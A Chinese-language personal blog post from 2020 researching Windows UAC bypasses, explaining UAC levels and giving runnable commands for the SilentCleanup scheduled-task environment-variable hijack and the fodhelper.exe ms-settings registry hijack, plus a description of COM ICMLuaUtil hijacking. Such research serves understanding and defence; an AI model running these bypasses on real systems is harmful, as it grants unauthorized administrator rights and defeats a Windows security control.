bypass UAC研究

  1. UAC是何物
  2. bypass UAC的要求
  3. 交互式bypass
  4. 方式一:利用自带的计划任务
  5. 方法二:程序以高权执行某些进程
  6. 方法三:COM接口函数劫持
  7. 总结
  8. 参考链接

水了一天,明天出发准备上学。先去玩几天,早上原本就打算写
刷b站硬是刷到了晚上

UAC是何物

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为”恶意软件”)损坏系统的效果。
主要用于隔离administrator和user的权限

高:
任何程序启动都需要申请

默认:
UAC在不手动更改的情况下,程序需要administrator权限的时候。会弹出框框申请

中:
申请administrator权限不弹出申请框框,默认允许

从不提醒:
所有程序启动皆为administrator权限

bypass UAC的要求

UAC设置为默认或更低
低权用户有权限执行的(可以是COM,计划任务,dll劫持等)

交互式bypass

例如:执行了MMC,然后在MMC打开文件选项选择cmd.exe执行

利用权限继承,在一个有administrator权限的进程里执行另外的进程从而实现绕过UAC
但是这种始终无法真正的利用

方式一:利用自带的计划任务

\Microsoft\Windows\DiskCleanup\SilentCleanup计划任务

# cmd
setx windir cmd /k
schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
or
# powershell
New-ItemProperty "HKCU:\Environment" -Name "windir" -Value "cmd.exe /k cmd.exe" -PropertyType String -Force #用户环境变量注册表
schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

原因:\Microsoft\Windows\DiskCleanup\SilentCleanup服务以administrator运行,且计划任务任何用户都可以启动。启动程序使用用户变量%windir%这样去执行程序,通过修改用户变量课可实现bypass UAC

计划任务的设置如下

执行的操作

方法二:程序以高权执行某些进程

例如:
fodhelper.exe和computerdefaults.exe存在bypass UAC

# powershell
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value cmd.exe -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
or
# cmd
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d ""
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d cmd.exe
fodhelper.exe
reg delete HKCU\Software\Classes\ms-settings\ /F

通过进程监测可以看到如下过程

首先寻找了

HKCU\Software\Classes\ms-settings\Shell\Open\command key:(Default)

然后在寻找了

HKCU\Software\Classes\ms-settings\Shell\Open\command key:DelegateExecute

当HKCU\Software\Classes\ms-settings\Shell\Open\command路径找不到的时候才去找HKCR\ms-settings\Classes\ms-settings\Shell\Open\command

Shell\Open\Command默认键名(Default)为所执行的程序,DelegateExecute为对应COM接口的CLSID

方法三:COM接口函数劫持

COM接口劫持需要先找到一些在system32目录下的dll,一般都是系统自带的COM接口
然后从这些接口里寻找可用的函数,例如:cmdlua.dll里的shellExecW,GUID:3E5FC7F9-9A51-4367-9063-A120244FBEC7
OleViewDotNet(Administrator权限运行)查询对应的CLSID

然后跟踪这个ICMLuaUtil接口可以看到下面的函数

IDA反编译对应的DLL通过虚函数表搜索地址/搜索关键字ICMLuaUtil可以看到下面的函数
从0开始数到9,shellExec正好对应Proc9

然后只需要编写调用COM接口即可
注意:这里CPP定义的接口函数数量和IDA反编译出来的数量一样(除了要调用的函数)

编译好对应的dll后,使用rundll32调用效果如下

总结

如果是劫持环境变量,从计划任务找bypass UAC的话注意两点: (只适用于 windows10,windows7或以下的在设置计划任务的时候,环境变量是什么就一直是那个环境变量的值,不会在改变。除非删除任务重新弄)

  • 计划任务状态为非禁用
  • 计划任务的触发器为:启动程序 (其他的话要按照对应的触发器是触发)
  • 详细信息的里路径程序带参数,且参数用户的用户环境变量

COM接口劫持需要先找到一些在system32目录下的dll,一般都是系统自带的COM接口
然后从这些接口里寻找可用的函数

一般利用COM都是自动化搜索然后人工审计多

DLL劫持因为时间问题暂时没复现

参考链接

https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html?m=1
https://cqureacademy.com/cqure-labs/cqlabs-how-uac-bypass-methods-really-work-by-adrian-denkiewicz
COM劫持代码来源:https://www.write-bug.com/article/2000.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:bypass UAC研究

本文作者:九世

发布时间:2020-10-08, 00:46:32

最后更新:2020-10-08, 01:51:01

原始链接:http://422926799.github.io/posts/70084607.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录